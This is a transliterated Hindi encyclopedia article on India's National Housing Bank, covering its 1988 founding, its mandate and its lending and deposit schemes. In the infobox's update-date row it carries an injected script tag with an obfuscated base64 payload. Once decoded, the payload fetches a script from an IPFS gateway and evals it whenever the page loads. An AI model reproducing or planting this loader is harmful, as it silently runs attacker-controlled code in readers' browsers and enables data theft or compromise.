राष्ट्रीय आवास बैंक
rashtriy avas baiank
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| vivaran | 'rashtriy avas baiank' avasiy vitt ke lie bharat mean ek sarvochch sanstha hai. yah 'bharatiy rizarv baiank' ka niyantrit upakram hai. |
| sthapana | 9 julaee, 1988 |
| uddeshy | avas vitt sansthanoan ke unnayan ke lie ek pradhan ejeansi ke roop mean kary karane evan aise sansthanoan ko vittiy evan any sahayata pradan karana. |
| mukhyalay | nee dilli |
| prakar | sarvajanik |
| sanbandhit lekh | bharatiy stet baiank, panjab neshanal baiank, bharatiy mahila baiank |
| any janakari | “janasankhya ke sabhi vargoan ki avas avashyabakataoan ko poora karane ke lie nimn aur madhy ay avas par dhyan dene sahit bazar sanbhavanaoan ko talashana aur usaka sanvardhan” hi is baiank ka mishan hai. |
| bahari k diyaan | adhikarik vebasait |
| adyatan | 16:25, 18 march 2015 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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rashtriy avas baiank (aangrezi: National Housing Bank) avasiy vitt ke lie bharat mean ek sarvochch sanstha hai. yah 'bharatiy rizarv baiank' ka niyantrit upakram hai. janasankhya ke sabhi vargoan ki avas avashyakataoan ko poora karane ke lie nimn aur madhyam ay avas par dhyan dene sahit bazar sanbhavanaoan ko talashana aur usaka sanvardhan karana 'rashtriy avas baiank' ka uddeshy hai.
sthapana
'rashtriy avas baiank' ki sthapana 9 julaee, 1988 ko sansad ke ek adhiniyam arthath 'rashtriy avas baiank adhiniyam, 1987' ke adhin ki gee thi. isaka uddeshy avas vitt sansthanoan ke unnayan ke lie ek pradhan ejeansi ke roop mean kary karane evan aise sansthanoan ko vittiy evan any sahayata pradan karana tha. adhiniyam any batoan ke sath-sath rashtriy avas baiank ko nimnalikhit ke lie pradhikrit karata hai-
- avas vitt sansthanoan ki sudridh vittiy adhar par vriddhi sunishchit karane ke lie nirdesh jari karana.
- anusoochit baiankoan, avas vitt sansthanoan athava kendriy, rajy athava praantiy adhiniyam ke lie sthapit kisi pradhikaran jo gandi basti punarvikas ke kary mean lage haian, ko rrin evan agrim pradan karana.
- avas ke uddeshy se sansadhan jutana evan avas hetu rrin pradan karane ke lie yojanaean taiyar karana.
mahattvapoorn abhikram
'rashtriy avas baiank' ke mahattvapoorn abhikram nimnalikhit haian-
- gramin kshetroan mean utpadak avas
aise gharoan ke nirman hetu rrin upalabdh karana, jo ghar ke sath-sath, apane kam-dhandhe ke lie ek utpadak sthal hota hai aur us parivar ki ay badhane mean madadagar hota hai. 'rashtriy avas baiank' gramin kshetroan mean utpadak avas ke aantargat pratyaksh rrin evan punarvitt ke madhyam se rrin vistarit karata hai.[1]
- savadhi jama yojanaean
'rashtriy avas baiank' ne 'sunidhi' evan 'suvriddhi' namak savadhi jama yojanaean praranbh ki haian. suvriddhi jama yojana ayakar adhiniyam ki dhara 80 g (si) ke aantargat kar se chhoot prapt hai. in yojanaoan mean dhan ki uchch suraksha ke sath behatar vriddhi ke sath vapasi sunishchit hai.
- rivars martagej rrin (lon)
bharat mean pahali bar 'rashtriy avas baiank' ke dvara prastut evan anusoochit baiankoan evan avas vitt sansthanoan dvara kriyanvit kiya gaya hai. is rrin ko ek ghar ka svami varishth nagarik apane jivan sathi ke sath ghar mean rahate hue jivan bhar ke lie rrin prapt kar sakata hai. 'rashtriy avas baiank' ke dvara varishth nagarikoan ki suvidha ke lie desh bhar mean rivars martagej rrin paramarsh kendr sthapit kie ge haian.
- avas maikro (sookshm) vitt
samaj ke kamazor varg ke lie, unake vidyaman gharoan ki marammat/navinikaran tatha ne nirman ke lie 'rashtriy avas baiank' ke pas 'maikro kredit' (sookshm rrin) ka pravadhan hai, jise anusoochit baiankoan, avas vitt kanpaniyoan evan sahakari avas samoohoan ke madhyam se sanvitarit kiya jata hai.[1]
- gramin avas nidhi (ar.ech.ef.)
kendriy bajat 2008-2009 ki ghoshana ke anusar 'rashtriy avas baiank' ke dvara age badhaya gaya yah ek naya prayas hai, taki gramin kshetroan mean samaj ke kamazor/garib tabake ke logoan ke lie sugam avas hetu riyayati daroan par vitt upalabdh karaya ja sake.
- vittiy sahayata
'rashtriy avas baiank' vaiyaktik rrin ke dayare ke aantargat baiankoan, avasavitt kanpaniyoan, gramin avas baiankoan, shirshasth avas vitt sahakaritaoan/rajy sahakari krishi evan gramin vikas baiankoan ke sath milakar vittiy sahayata pradan karata hai.
- svarn jayanti gramin avas vitt yojana
is yojana ka uddeshy avas ke lie saansthanik rrin hetu behatar v sahaj pahuanch banakar gramin ilakoan mean avas ki kami ki samasya ko sanbodhit karana hai. 'rashtriy avas baiank' ne rrinoan evan punarvitt ko baiankoan, avas vitt kanpaniyoan, kshetriy gramin baiankoan, sahakari baiankoan tatha shirshasth sahakari avas vitt samitiyoan tak vistarit kiya hai.
- vahaniy (efordebal) avas hetu sahayata
hal hi mean kendr sarakar dvara praranbh ki gee 'vahaniy (efordebal) avas yojana' hetu 'rashtriy avas baiank' protsahan evan sanvardhan ke lie katibaddh hai. is yojana mean gramin evan shahari ilakoan ke kamazor arthik varg, madhy vitt varg, evan alpasevitoan evan asevitoan ke lie vishesh pravadhan haian. baiank ka uddeshy desh bhar mean har ek parivar ke lie apane ghar ka sapana sach karane ka hai.[1]
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 rashtriy avas baiank (hindi). . abhigaman tithi: 20 march, 2014.
bahari k diyaan
sanbandhit lekh